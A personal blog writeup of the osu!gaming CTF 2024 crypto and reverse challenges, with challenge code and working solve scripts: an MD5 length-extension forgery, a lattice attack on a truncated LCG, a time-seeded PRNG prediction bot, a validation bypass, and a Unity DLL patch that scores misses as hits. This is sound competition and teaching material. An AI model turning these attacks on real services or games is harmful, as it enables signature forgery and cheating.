Home osu!gaming CTF 2024 Writeup
Post
Cancel

osu!gaming CTF 2024 Writeup

osu!gaming CTF 2024 Writeup (Mainly Crypto and Reverse)

Last weekend(2024-03-01T17:00:00+00:00 ~ 2024-03-03T17:00:00+00:00), I participated in this game. B/c I AKed the crypto part of it(and as a half-AFKed osu! player), I decided to write something about it.

Crypto

base727

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import binascii

flag = open('flag.txt').read()

def encode_base_727(string):
    base = 727
    encoded_value = 0

    for char in string:
        encoded_value = encoded_value * 256 + ord(char)

    encoded_string = ""
    while encoded_value > 0:
        encoded_string = chr(encoded_value % base) + encoded_string
        encoded_value //= base

    return encoded_string

encoded_string = encode_base_727(flag)
print(binascii.hexlify(encoded_string.encode()))

solution

Same as the challenge, the solve script is also written by GPT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
with open("out.txt", "r") as f:
    encoded_string = bytes.fromhex(f.read()).decode()


def decode_base_727(encoded_string):
    base = 727
    decoded_value = 0

    for char in encoded_string:
        decoded_value = decoded_value * base + ord(char)

    decoded_string = ""
    while decoded_value > 0:
        decoded_string = chr(decoded_value % 256) + decoded_string
        decoded_value //= 256

    return decoded_string


flag = decode_base_727(encoded_string)
print(flag)

# osu{wysiwysiwysiywsywiwywsi}

ROSSAU

challenge

My friend really likes sending me hidden messages, something about a public key with n = 5912718291679762008847883587848216166109 and e = 876603837240112836821145245971528442417. What is the name of player with the user ID of the private key exponent? (Wrap with osu{})

solution

Search n in factordb.com, and the rest is textbook RSA.

korean-offline-mafia

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from topsecret import n, secret_ids, flag
import math, random

assert all([math.gcd(num, n) == 1 for num in secret_ids])
assert len(secret_ids) == 32

vs = [pow(num, 2, n) for num in secret_ids]
print('n =', n)
print('vs =', vs)

correct = 0

for _ in range(1000):
	x = int(input('Pick a random r, give me x = r^2 (mod n): '))
	assert x > 0
	mask = '{:032b}'.format(random.getrandbits(32))
	print("Here's a random mask: ", mask)
	y = int(input('Now give me r*product of IDs with mask applied: '))
	assert y > 0
	# i.e: if bit i is 1, include id i in the product--otherwise, don't
	
	val = x
	for i in range(32):
		if mask[i] == '1':
			val = (val * vs[i]) % n
	if pow(y, 2, n) == val:
		correct += 1
		print('Phase', correct, 'of verification complete.')
	else:
		correct = 0
		print('Verification failed. Try again.')

	if correct >= 10:
		print('Verification succeeded. Welcome.')
		print(flag)
		break

solution

Notice that assert x > 0 is not done in Zmod(n), letting x = y = n can bypass the check.

1
2
3
4
5
6
7
8
9
10
11
12
13
from topsecret import n
from pwn import *
p = remote('chal.osugaming.lol',7275)
p.recvline()
chal = p.recvline().decode().split()[-1]
PoW = process(['/home/kali/.cache/redpwnpow/redpwnpow-v0.1.2-linux-amd64',chal]) # path to PoW program
ans = PoW.recv()
PoW.close()
p.send(ans)
for _ in range(20):
    p.sendline(str(n).encode())
p.interactive()
# osu{congrats_now_can_you_help_me_rank_up_pls}

no-dorchadas

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from hashlib import md5
from secret import flag, secret_slider
from base64 import b64encode, b64decode

assert len(secret_slider) == 244
dorchadas_slider = b"0,328,33297,6,0,B|48:323|61:274|61:274|45:207|45:207|63:169|103:169|103:169|249:199|249:199|215:214|205:254,1,450.000017166138,6|6,1:1|2:1,0:0:0:0:"

def sign(beatmap):
    hsh = md5(secret_slider + beatmap)
    return hsh.hexdigest()

def verify(beatmap, signature):
    return md5(secret_slider + beatmap).hexdigest() == signature

def has_dorchadas(beatmap):
    return dorchadas_slider in beatmap

MENU = """
--------------------------
| [1] Sign a beatmap     |
| [2] Verify a beatmap   |
--------------------------"""

def main():
    print("Welcome to the osu! Beatmap Signer")
    while True:
        print(MENU)
        try:
            option = input("Enter your option: ")
            if option == "1":
                beatmap = b64decode(input("Enter your beatmap in base64: "))
                if has_dorchadas(beatmap):
                    print("I won't sign anything with a dorchadas slider in it >:(")
                else:
                    signature = sign(beatmap)
                    print("Okay, I've signed that for you: " + signature)
            elif option == "2":
                beatmap = b64decode(input("Enter your beatmap in base64: "))
                signature = input("Enter your signature for that beatmap: ")
                if verify(beatmap, signature) and has_dorchadas(beatmap):
                    print("How did you add that dorchadas slider?? Anyway, here's a flag: " + flag)
                elif verify(beatmap, signature):
                    print("Signature is valid!")
                else:
                    print("Signature is invalid :(")
        except:
            print("An error occurred!")
            exit(-1)

main()

solution

The payload is generated by HashPump. The original git repo is deleted, but you can still find many forks(or similar tools) online.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from base64 import *

p = remote("chal.osugaming.lol", 9727)
p.recvline()
chal = p.recvline().decode().split()[-1]
PoW = process(["/home/kali/.cache/redpwnpow/redpwnpow-v0.1.2-linux-amd64", chal])
ans = PoW.recv()
PoW.close()
p.send(ans)
p.sendlineafter(b"Enter your option: ", b"1")
p.sendlineafter(b"Enter your beatmap in base64: ", b64encode(b"a"))
p.recvuntil(b"Okay, I've signed that for you: ")
sign = p.recvline().decode().strip()
print(sign)
digest, message = (
    b"0b2845360389b6b156fabb9dde737c5f",
    b"a\x80\x00\x00\xa8\x07\x00\x00\x00\x00\x00\x000,328,33297,6,0,B|48:323|61:274|61:274|45:207|45:207|63:169|103:169|103:169|249:199|249:199|215:214|205:254,1,450.000017166138,6|6,1:1|2:1,0:0:0:0:",
)
p.sendlineafter(b"Enter your option: ", b"2")
p.sendlineafter(b"Enter your beatmap in base64: ", b64encode(message))
p.sendlineafter(b"Enter your signature for that beatmap: ", digest)
p.interactive()

# osu{s3cr3t_sl1d3r_i5_th3_burp_5l1d3r_fr0m_Feiri's_Fake_Life}

lucky-roll-gaming

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import getPrime # https://pypi.org/project/pycryptodome/
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randrange
from math import floor

def lcg(s, a, b, p):
    return (a * s + b) % p

p = getPrime(floor(72.7))
a = randrange(0, p)
b = randrange(0, p)
seed = randrange(0, p)
print(f"{p = }")
print(f"{a = }")
print(f"{b = }")
print(f"{seed=}")
def get_roll():
    global seed
    seed = lcg(seed, a, b, p)
    return seed % 100

out = []
for _ in range(floor(72.7)):
    out.append(get_roll())
print(f"{out = }")

flag = open("flag.txt", "rb").read()
key = bytes([get_roll() for _ in range(16)])
iv = bytes([get_roll() for _ in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.encrypt(pad(flag, 16)).hex())

solution

Truncated lcg with low bits known, which can be reduced to a hidden number problem, and finally solved by LLL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#! /usr/bin/sage
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
p = 4420073644184861649599
a = 1144993629389611207194
b = 3504184699413397958941
out = [39, 47, 95, 1, 77, 89, 77, 70, 99, 23, 44, 38, 87, 34, 99, 42, 10, 67, 24, 3, 2, 80, 26, 87, 91, 86, 1, 71, 59, 97, 69, 31, 17, 91, 73, 78, 43, 18, 15, 46, 22, 68, 98, 60, 98, 17, 53, 13, 6, 13, 19, 50, 73, 44, 7, 44, 3, 5, 80, 26, 10, 55, 27, 47, 72, 80, 53, 2, 40, 64, 55, 6]
cipher = bytes.fromhex('34daaa9f7773d7ea4d5f96ef3dab1bbf5584ecec9f0542bbee0c92130721d925f40b175e50587196874e14332460257b')
l = out
def lcg(s, a, b, p):
    return (a * s + b) % p
def get_roll():
    global seed
    seed = lcg(seed, a, b, p)
    return seed % 100
n = len(out)
A = [[0 for _ in range(n+1)] for _ in range(n+1)] 
inv100 = pow(100,-1,p)
for i in range(n-1):
    A[i][i] = p
    A[n-1][i] = a**(i+1)%p
    A[n][i] = (a*l[0]+b-l[1])*inv100%p if i==0 else (a*A[n][i-1] + (a*l[i]+b-l[i+1])*inv100)%p
A[n-1][n-1] = 1
A[n][n] = p//100
A = Matrix(A)
B = A.LLL()
h0 = B[0][-2]
s0 = h0*100+l[0]
seed = s0
assert([l[0]]+[get_roll() for _ in range(71)] == l)
key = bytes([get_roll() for _ in range(16)])
iv = bytes([get_roll() for _ in range(16)])
aes = AES.new(key, AES.MODE_CBC, iv)
print(unpad(aes.decrypt(cipher),16).decode())

# osu{w0uld_y0u_l1k3_f1r5t_0r_53c0nd_p1ck}

secret-map

challenge

Load the beatmap into osu! and find this secret script on the song folder:

1
2
3
4
5
6
7
8
9
10
11
import os

xor_key = os.urandom(16)

with open("flag.osu", 'rb') as f:
    plaintext = f.read()

encrypted_data = bytes([plaintext[i] ^ xor_key[i % len(xor_key)] for i in range(len(plaintext))])

with open("flag.osu.enc", 'wb') as f:
    f.write(encrypted_data)

solution

Classic known file header and cycled key exploitation.

1
2
3
4
5
6
7
8
9
from pwn import xor
with open('flag.osu.enc','rb') as f:
    c = f.read()
k = xor(b'osu file format ',c[:16])
m = xor(c, k)
with open('flag.osu','wb') as f:
    f.write(m)

# osu{xor_xor_xor_by_frums}

wysi-prime

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import isPrime, bytes_to_long
import random
import os

def getWYSIprime():
    while True:
        digits = [random.choice("727") for _ in range(272)]
        prime = int("".join(digits))
        if isPrime(prime):
            return(prime)

# RSA encryption using the WYSI primes
p = getWYSIprime()
q = getWYSIprime()
n = p * q
e = 65537
flag = bytes_to_long(os.getenv("FLAG", b"osu{fake_flag_for_testing}"))
ciphertext = pow(flag, e, n)
print(f"{n = }")
print(f"{e = }")
print(f"{ciphertext = }")

solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
n = 2160489795493918825870689458820648828073650907916827108594219132976202835249425984494778310568338106260399032800745421512005980632641226298431130513637640125399673697368934008374907832728004469350033174207285393191694692228748281256956917290437627249889472471749973975591415828107248775449619403563269856991145789325659736854030396401772371148983463743700921913930643887223704115714270634525795771407138067936125866995910432010323584269926871467482064993332990516534083898654487467161183876470821163254662352951613205371404232685831299594035879
e = 65537
c = 2087465275374927411696643073934443161977332564784688452208874207586196343901447373283939960111955963073429256266959192725814591103495590654238320816453299972810032321690243148092328690893438620034168359613530005646388116690482999620292746246472545500537029353066218068261278475470490922381998208396008297649151265515949490058859271855915806534872788601506545082508028917211992107642670108678400276555889198472686479168292281830557272701569298806067439923555717602352224216701010790924698838402522493324695403237985441044135894549709670322380450
from Crypto.Util.number import isPrime, long_to_bytes
p = ['2' for i in range(272)]
q = ['2' for i in range(272)]
p[0] = '7'
p = int(''.join(p))
q = int(''.join(q))
for i in range(270,-1,-1):
    d = 5*10**i
    if (p+d)*(q+d) <= n:
        p += d
        q += d
    elif p*(q+d) <= n:
        q += d
    elif (p+d)*q <= n:
        p += d
assert isPrime(p) and isPrime(q)
assert p*q == n
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
m = pow(c,d,n)
print(long_to_bytes(m).decode())

# osu{h4v3_y0u_3v3r_n0t1c3d_th4t_727_1s_pr1m3?}

Well, in fact I didn’t understand why 727 is prime can be used to solve the challenge.

roll

challenge

To help you in your next tourney, you can practice rolling against me! But you’ll have to do better than just winning the roll to impress me…

(DM me !help on osu! to get started!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
use futures::prelude::*;
use irc::client::prelude::*;
use log::{error, info, LevelFilter};
use rand::rngs::SmallRng;
use rand::{Rng, SeedableRng};
use simple_logger::SimpleLogger;
use std::fs;
use std::time::{SystemTime, UNIX_EPOCH};
use std::collections::HashMap;

fn get_roll() -> i32 {
    let seed = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_secs();
    let mut rng = SmallRng::seed_from_u64(seed);
    rng.gen_range(1..101)
}

struct UserState {
    roll_to_beat: i32,
    wins: i32,
}

struct Bot {
    flag: String,
    state: HashMap<String, UserState>,
    client: Client,
}

impl Bot {
    async fn run(&mut self) -> irc::error::Result<()> {
        self.client.identify()?;
        let mut stream = self.client.stream()?;
        while let Some(message) = stream.next().await.transpose()? {
            match &message.command {
                Command::QUIT(_) => continue,
                Command::PRIVMSG(_, msg) => {
                    info!("{:?} {:?}", message.prefix, message.command);

                    let Some(target) = message.response_target() else {
                        info!("Failed to find target for message: {:#?}", message);
                        continue;
                    };

                    if msg.starts_with("!roll") {
                        self.handle_roll(target)?;
                    } else if msg.starts_with("!start") {
                        self.handle_start(target)?;
                    } else if msg.starts_with("!help") {
                        self.client.send_privmsg(
                            target,
                            "Use !start to start a game, and !roll to roll!",
                        )?;
                    }
                }
                _ => info!("{:?} {:?}", message.prefix, message.command),
            }
        }
        Ok(())
    }

    fn roll_self_for(state: &mut UserState) -> i32 {
        let mut roll = get_roll();
        if roll == 100 {
            roll = 1; // :)
        }
        state.roll_to_beat = roll;
        roll
    }

    fn handle_start(&mut self, target: &str) -> irc::error::Result<()> {
        if self.state.contains_key(target) {
            self.client
                .send_privmsg(target, "You're already in a game!")?;
        } else {
            let mut state = UserState {
                roll_to_beat: 0,
                wins: 0,
            };
            let roll = Bot::roll_self_for(&mut state);
            self.state.insert(target.to_string(), state);
            self.client.send_privmsg(
                target,
                format!("I rolled a {}. Good luck! Use !roll to roll.", roll),
            )?;
        }
        Ok(())
    }

    fn handle_roll(&mut self, target: &str) -> irc::error::Result<()> {
        let roll = get_roll();
        info!("{} rolled a {}", target, roll);
        self.client
            .send_privmsg(target, format!("{} rolls {} points", target, roll))?;

        let Some(mut state) = self.state.get_mut(target) else {
            self.client.send_privmsg(
                target,
                "Looks like you're not in a game yet. Use !start to start one!",
            )?;
            return Ok(());
        };

        if roll == state.roll_to_beat + 1 {
            self.client
                .send_privmsg(target, "How did you do that??? So lucky...")?;
            state.wins += 1;

            if state.wins >= 5 {
                self.client.send_privmsg(
                    target,
                    format!("Impossible!!! I give up, here's the flag: {}", self.flag),
                )?;
            }

            let next_roll = Bot::roll_self_for(&mut state);
            self.client.send_privmsg(
                target,
                format!(
                    "Bet you can't do it again... I rolled a {}. Good luck! Use !roll to roll.",
                    next_roll
                ),
            )?;
        } else if roll > state.roll_to_beat {
            self.client
                .send_privmsg(target, "You beat me! But it happens...")?;
            self.state.remove(target);
        } else {
            self.client.send_privmsg(target, "You lost!")?;
            self.state.remove(target);
        }
        Ok(())
    }
}

#[tokio::main]
async fn main() -> irc::error::Result<()> {
    SimpleLogger::new()
        .with_level(LevelFilter::Info)
        .init()
        .unwrap();
    let flag = fs::read_to_string("flag.txt").expect("Unable to read flag file");
    let mut bot = Bot {
        flag,
        state: HashMap::new(),
        client: Client::new("config.toml").await?,
    };

    match bot.run().await {
        Ok(_) => info!("Bot exited successfully"),
        Err(e) => error!("Bot exited with error: {}", e),
    }

    Ok(())
}

solution

The vulnerbility itself is very simple: Time-based Pseudo Random Number Generator(PRNG) synchronization. In other words, using the same time as the server to feed your PRNG and you will get the same roll. The expected solution should be: write a Rust Bot using an IRC client library(just like the challenge) to automatically send the !roll when appropriate. I indeed implement this part, and successfully test it locally:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
use futures::StreamExt;
use irc::client::prelude::*;
use log::{error, info, LevelFilter};
use rand::rngs::SmallRng;
use rand::{Rng, SeedableRng};
use simple_logger::SimpleLogger;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::time::{sleep, Duration};
fn get_roll(offset: Option<u64>) -> i32 {
    let seed = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_secs();
    let mut rng = SmallRng::seed_from_u64(seed + offset.unwrap_or(0));
    rng.gen_range(1..101)
}

struct Bot {
    client: Client,
    guess_start: Vec<i32>,
    offset: u64
}

impl Bot {
    async fn run(&mut self) -> irc::error::Result<()> {
        self.client.identify()?;
        let mut stream = self.client.stream()?;
        self.client.send( "/query Quin  tecX")?;
        self.client.send_privmsg("QuintecX","!start")?;
        while let Some(message) = stream.next().await.transpose()? {
            match &message.command {
                Command::QUIT(_) => continue,
                Command::PRIVMSG(_, msg) => {
                    info!("{:?} {:?}", message.prefix, message.command);
                    let Some(target) = message.response_target() else {
                        info!("Failed to find target for message: {:#?}", message);
                        continue;
                    };
                    if msg.starts_with("I rolled a ") {
                        self.handle_start(
                            target,
                            msg.trim_start_matches("I rolled a ")
                                .trim_end_matches(". Good luck! Use !roll to roll."),
                                true
                        ).await?;
                    } else if msg.starts_with("Bet you can't do it again... I rolled a ") {
                        self.handle_start(
                            target,
                            msg.trim_start_matches("Bet you can't do it again... I rolled a ")
                                .trim_end_matches(". Good luck! Use !roll to roll."),
                                false
                        ).await?;
                    } else if msg.starts_with("You're already in a game!") {
                        self.client.send_privmsg(target, "!roll")?;
                        self.client.send_privmsg(target,"!start")?;
                    } else if msg.starts_with("Impossible!!! I give up, here's the flag: ") {
                        info!("{}", msg);
                        return Ok(());
                    }
                }
                _ => info!("{:?} {:?}", message.prefix, message.command),
            }
        }
        Ok(())
    }
    async fn handle_start(&mut self, target: &str, msg: &str, is_first: bool) -> irc::error::Result<()> {
        let roll_to_beat: i32 = msg.parse::<i32>().unwrap();
        if is_first {
            self.guess_start = (0..10).map(|i| get_roll(Some(i))).collect();
            self.offset = self.guess_start.iter().position(|&x| x == roll_to_beat).unwrap_or(0) as u64;
        }
        let roll_target: i32 = roll_to_beat + 1;
        let mut roll_predict: i32 = get_roll(Some(self.offset));
        let mut cnt = 0;
        while roll_predict != roll_target {
            cnt += 1;
            roll_predict = get_roll(Some(cnt));
        }
        for i in 0..cnt {
            sleep(Duration::from_millis(1000)).await;
            let res = get_roll(Some(self.offset));
            info!("After sleep {}/{}, if I roll now, I will get {}", i+1, cnt, res);
            if res == roll_target {
                break;
            }
        }
        self.client.send_privmsg(target, "!roll")?;
        Ok(())
    }
}

#[tokio::main]
async fn main() -> irc::error::Result<()> {
    SimpleLogger::new()
        .with_level(LevelFilter::Info)
        .init()
        .unwrap();
    let mut bot = Bot {
        client: Client::new("config.toml").await?,
        guess_start: Vec::new(),
        offset: 0
    };

    match bot.run().await {
        Ok(_) => info!("Bot exited successfully"),
        Err(e) => error!("Bot exited with error: {}", e),
    }

    Ok(())
}

The frustrating part is that the Bot cannot response to the server’s PING when stucked in handle_start(). As a result, it will be kicked offline if the needed time interval is too long. This can be avoided by changing pong_timeout in config file of local IRC server, but I can do nothing to the IRC server of osu!, known as Bancho.

In the end, I solved this challenge by using Rust only on the PRNG part, and submit the !roll in a browser session. Maybe wasm+JS can automate this process? Don’t know, but I did it manually…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
use rand::rngs::SmallRng;
use rand::{Rng, SeedableRng};
use std::io::Write;
use std::thread::sleep;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use std::env::args;
fn get_roll(offset: u64) -> u64 {
    let seed = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_secs();
    let mut rng = SmallRng::seed_from_u64(seed + offset);
    rng.gen_range(1..101)
}
fn main() {
    let args: Vec<String> = args().collect();
    let begin: u64 = args[1].parse::<u64>().unwrap();
    println!("begin = {}",begin);
    let mut timing: Vec<Vec<u64>> = vec![vec![]; 5];
    for i in 0..1200 {
        for j in 0..5 {
            if get_roll(i) == (begin + j) % 100 + 1 {
                timing[j as usize].push(i);
            }
        }
    }
    println!("{:?}",timing);
    let mut cnt = 0;
    loop {
        print!("\r cnt = {}, roll = {}           ",cnt, get_roll(0));
        let _ = std::io::stdout().flush();
        sleep(Duration::from_secs(1));
        cnt += 1;
    }

}

Reverse

SAT-before-osu

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
b + c + w = 314
t + d + u = 290
p + w + e = 251
v + l + j = 274
a + t + b = 344
b + j + m = 255
h + o + u = 253
q + l + o = 316
a + g + j = 252
q + x + q = 315
t + n + m = 302
d + b + g = 328
e + o + m = 246
v + v + u = 271
f + o + q = 318
s + o + j = 212
j + j + n = 197
s + u + l = 213
q + w + j = 228
i + d + r = 350
e + k + u = 177
w + n + a = 288
r + e + u = 212
q + l + f = 321

solution

The fastest way is to throw they into Mathematica, but any solver(z3, sympy) should also work.

wysi-baby

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
  <script type="module">
    var combos = [];

    function wysi() {
      if (combos.length === 8) {
        var cs = combos.join("");
        var csr = cs + cs.split("").reverse().join("");
        var res = CryptoJS.AES.decrypt("5LJJj+x+/cGxhxBTdj/Q2RxkhgbH7v8b/IgX9Kjptpo=", CryptoJS.enc.Hex.parse(csr + csr), { mode: CryptoJS.mode.ECB }).toString(CryptoJS.enc.Utf8);
        // if prefix is "osu{" then its correct
        if (res.startsWith("osu{")) {
          document.getElementById("music").innerHTML = '<audio src="./wysi.mp3" autoplay></audio>';
          console.log(res);
        } else {
          // reset
          console.log("nope.");
          combos = [];
        }
      }
    }

    $(document).ready(function() {
      $("#frame").on("click", "button", function() {
        var buttonValue = $(this).data("value");
        combos.push(buttonValue);
        wysi();
      });
    });
  </script>

solution

From the source code, we can know that cs has the form of \d{8}. The key space is hence $10^8$, making bruteforce possible.

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
from base64 import b64decode
cipher = b64decode(b'5LJJj+x+/cGxhxBTdj/Q2RxkhgbH7v8b/IgX9Kjptpo=')
for combos in range(10**9):
    cs = str(combos).rjust(8,'0')
    csr = cs + cs[::-1]
    res = AES.new(bytes.fromhex(csr + csr),AES.MODE_ECB).decrypt(cipher)
    if res.startswith(b'osu{'):
        print(combos)
        break

# osu{baby_js_osu_web_uwu}

ecs!catch

challenge

During his sophomore year of high school, enscribe made a really bad osu!catch clone for his final project in his Exploring Computer Science class. It was his first time on Unity, but it has some charm to it!

Receive an SS (with maximum score) on “Bakamitai”, the hardest map, to receive the flag. Shouldn’t be too difficult, right?

Note: An SS is not enough! The remote has additional checks for specific scoring (the maximum score if SS’ed “legitimately”).

Note: This executable is built for x86 Windows.

ecs!catch.zip

solution

After a few search about Unity game reversing, it turns out that ecs!catch_Data\Managed\Assembly-CSharp.dll contains most of the user code. So we decompile it with dnSpy.

The challenge description said we need to Receive an SS (with maximum score) on "Bakamitai". Reading the Official Wiki about scoring, we know that we just need to avoid every misses. Searching methods about Miss and their cross references led us to:

1
2
3
4
5
6
7
8
9
// Token: 0x060003EE RID: 1006 RVA: 0x00015EC4 File Offset: 0x000140C4
public void NoteMissed()
{
    this.missedTotal += 1f;
    this.possibleNotes++;
    this.currentCombo = 1;
    this.comboText.text = this.currentCombo.ToString() + "x";
    this.TakeDamage(1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class NoteObject : MonoBehaviour
{
	// Token: 0x060003FA RID: 1018 RVA: 0x000166C0 File Offset: 0x000148C0
	private void OnTriggerEnter2D(Collider2D other)
	{
		if (other.tag == "Activator")
		{
			if (base.gameObject != null)
			{
				this.hitSound.Play();
				this.hasPlayed = true;
			}
			Object.Destroy(base.gameObject);
			if (base.gameObject.tag == "Fruit" || base.gameObject.tag == "Hyperfruit")
			{
				GameManager.instance.NoteHitFruit();
				return;
			}
			if (base.gameObject.tag == "Start")
			{
				GameManager.instance.NoteHitStart();
				return;
			}
			if (base.gameObject.tag == "Clapfruit")
			{
				GameManager.instance.ClapFruitHit();
				return;
			}
			if (base.gameObject.tag == "Drop")
			{
				GameManager.instance.NoteHitDrop();
				return;
			}
			if (base.gameObject.tag == "Droplet")
			{
				GameManager.instance.NoteHitDroplet();
				return;
			}
			if (base.gameObject.tag == "Finish")
			{
				GameManager.instance.showResultsScreen();
			}
		}
	}

	// Token: 0x060003FB RID: 1019 RVA: 0x000167F0 File Offset: 0x000149F0
	private void OnTriggerExit2D(Collider2D other)
	{
		if (base.gameObject.activeSelf && other.tag == "Missed" && base.gameObject.tag != "Droplet")
		{
			this.missHitSound.Play();
			GameManager.instance.NoteMissed();
		}
	}

	// Token: 0x04000231 RID: 561
	public AudioSource hitSound;

	// Token: 0x04000232 RID: 562
	public AudioSource missHitSound;

	// Token: 0x04000233 RID: 563
	public bool hasPlayed;
}

The simplest way: Patch this class to treat Miss as Hit and miss all the notes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
using System;
using UnityEngine;

// Token: 0x0200003E RID: 62
public class NoteObject : MonoBehaviour
{
	// Token: 0x060003FA RID: 1018
	private void OnTriggerEnter2D(Collider2D other)
	{
	}

	// Token: 0x060003FB RID: 1019
	private void OnTriggerExit2D(Collider2D other)
	{
		if (other.tag == "Missed")
		{
			if (base.gameObject != null)
			{
				this.hitSound.Play();
				this.hasPlayed = true;
			}
			Object.Destroy(base.gameObject);
			if (base.gameObject.tag == "Fruit" || base.gameObject.tag == "Hyperfruit")
			{
				GameManager.instance.NoteHitFruit();
				return;
			}
			if (base.gameObject.tag == "Start")
			{
				GameManager.instance.NoteHitStart();
				return;
			}
			if (base.gameObject.tag == "Clapfruit")
			{
				GameManager.instance.ClapFruitHit();
				return;
			}
			if (base.gameObject.tag == "Drop")
			{
				GameManager.instance.NoteHitDrop();
				return;
			}
			if (base.gameObject.tag == "Droplet")
			{
				GameManager.instance.NoteHitDroplet();
				return;
			}
			if (base.gameObject.tag == "Finish")
			{
				GameManager.instance.showResultsScreen();
			}
		}
	}

	// Token: 0x04000231 RID: 561
	public AudioSource hitSound;

	// Token: 0x04000232 RID: 562
	public AudioSource missHitSound;

	// Token: 0x04000233 RID: 563
	public bool hasPlayed;
}

A thing to notice is that your final accuracy should be 100%, not 200%. flag.png

wysi-revenge

challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script type="module">
    import Module from './checker.js';
    var combos = [];

    function wysi() {
      if (combos.length === 12) {
        var cs = combos.join("");
        Module().then(function(mod) {
          const ck = mod.cwrap('checker', 'boolean', ['string', 'number']);
          if (ck(cs,  cs.length)) {
            document.getElementById("music").innerHTML = '<audio src="./wysi.mp3" autoplay></audio>';
            console.log("osu{" + cs + "}");
            } else {
            console.log("nope.");
            combos = [];
            }
        });
      }
    }

    $(document).ready(function() {
      $("#frame").on("click", "button", function() {
        var buttonValue = $(this).data("value");
        combos.push(buttonValue);
        wysi();
      });
    });
  </script>

solution

From the html source, we can know cs has the form of [a-z]{12}. The key space expanding to ${26}^{12}$ which makes bruteforce impossible.

We fetch the checker.wasm and decompile it with some traditional approaches:

1
2
3
4
5
6
wget https://github.com/WebAssembly/wabt/releases/download/{version}/wabt-{version}-{platform}.tar.gz
tar zxvf wabt-{version}-{platform}.tar.gz
cd wabt-{version}
cp /PATH/TO/checker.wasm .
bin/wasm2c checker.wasm -o checker.c
cp wasm-rt-impl.c wasm-rt-impl.h wasm-rt.h

Then you can decompile it using IDA(Pro):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
__int64 __fastcall w2c_checker_checker_0(unsigned int *a1, unsigned int a2, unsigned int a3)
{
  unsigned int v5; // [rsp+18h] [rbp-118h]
  unsigned int v6; // [rsp+1Ch] [rbp-114h]
  unsigned int v7; // [rsp+1Ch] [rbp-114h]
  unsigned int v8; // [rsp+20h] [rbp-110h]
  unsigned int v9; // [rsp+20h] [rbp-110h]
